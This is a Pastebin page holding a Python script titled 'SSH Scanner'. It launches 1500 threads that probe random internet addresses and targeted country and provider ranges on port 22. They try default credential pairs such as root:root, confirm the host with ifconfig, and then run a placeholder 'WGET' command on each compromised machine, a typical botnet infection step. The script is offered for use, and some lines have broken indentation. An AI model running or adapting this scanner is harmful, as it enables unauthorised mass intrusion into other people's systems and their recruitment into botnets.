daily pastebin goal
32%
SHARE
TWEET

SSH Scanner

ZoneHax Aug 13th, 2016 977 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. cmd='WGET'
  7. blacklist = [
  8.     '127'
  9. ]
  10.  
  11. passwords = [
  12.     "admin:admin"
  13. ]
  14.  
  15. if sys.argv[4] == '1':
  16.      passwords = ["root:root"]
  17. if sys.argv[4] == '2':
  18.      passwords = ["guest:guest"]
  19. if sys.argv[4] == '3':
  20.      passwords = ["admin:1234"]
  21. if sys.argv[4] == '4':
  22.      passwords = ["telnet:telnet"]
  23.  
  24. print "\x1b[0;31mScanner Started...\x1b[0m"
  25.  
  26. ipclassinfo = sys.argv[2]
  27. if ipclassinfo == "A":
  28.     ip1 = sys.argv[3]
  29. elif ipclassinfo == "B":
  30.     ip1 = sys.argv[3].split(".")[0]
  31.     ip2 = sys.argv[3].split(".")[1]
  32. elif ipclassinfo == "C":
  33.     ips = sys.argv[3].split(".")
  34.     num=0
  35.     for ip in ips:
  36.         num=num+1
  37.         if num == 1:
  38.             ip1 = ip
  39.         elif num == 2:
  40.             ip2 = ip
  41.         elif num == 3:
  42.             ip3 = ip
  43. class sshscanner(threading.Thread):
  44.     global passwords
  45.     global ipclassinfo
  46.     if ipclassinfo == "A":
  47.         global ip1
  48.     elif ipclassinfo == "B":
  49.         global ip1
  50.         global ip2
  51.     elif ipclassinfo == "C":
  52.         global ip1
  53.         global ip2
  54.         global ip3
  55.     def run(self):
  56.         while 1:
  57.             try:
  58.                 while 1:
  59.                     thisipisbad='no'
  60.                     if ipclassinfo == "A":
  61.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  62.                     elif ipclassinfo == "B":
  63.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  64.                     elif ipclassinfo == "C":
  65.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  66.                     elif ipclassinfo == "BRAZIL":
  67.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  68.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  69.                     elif ipclassinfo == "ER":
  70.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  71.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "LUCKY":
  73.                         lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]
  74.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  75.                     elif ipclassinfo == "LUCKY2":
  76.                         lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]
  77.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78.             elif ipclassinfo == "LUCKY3":
  79.                         lucky2 = [ "103.20","103.30","103.47","103.57" ]
  80.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  81.                     elif ipclassinfo == "RAND":
  82.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  83.                     elif ipclassinfo == "INTERNET":
  84.                         lol = ["1"]
  85.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86.                     else:
  87.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  88.                     for badip in blacklist:
  89.                         if badip in self.host:
  90.                             thisipisbad='yes'
  91.                     if thisipisbad=='no':
  92.                         break
  93.                 username='root'
  94.                 password=""
  95.                 port = 22
  96.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  97.                 s.settimeout(3)
  98.                 s.connect((self.host, port))
  99.                 s.close()
  100.                 ssh = paramiko.SSHClient()
  101.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  102.                 dobreak=False
  103.                 for passwd in passwords:
  104.                     if ":n/a" in passwd:
  105.                         password=""
  106.                     else:
  107.                         password=passwd.split(":")[1]
  108.                     if "n/a:" in passwd:
  109.                         username=""
  110.                     else:
  111.                         username=passwd.split(":")[0]
  112.                     try:
  113.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  114.                         dobreak=True
  115.                         break
  116.                     except:
  117.                         pass
  118.                     if True == dobreak:
  119.                         break
  120.                 badserver=True
  121.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  122.                 output = stdout.read()
  123.                 if "inet addr" in output:
  124.                     badserver=False
  125.                 if badserver == False:
  126.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  127.             ssh.exec_command(""+cmd+"")
  128.                         time.sleep(15)
  129.                         ssh.close()
  130.             except:
  131.                 pass
  132.  
  133. for x in range(0,1500):
  134.     try:
  135.         t = sshscanner()
  136.         t.start()
  137.     except:
  138.         pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top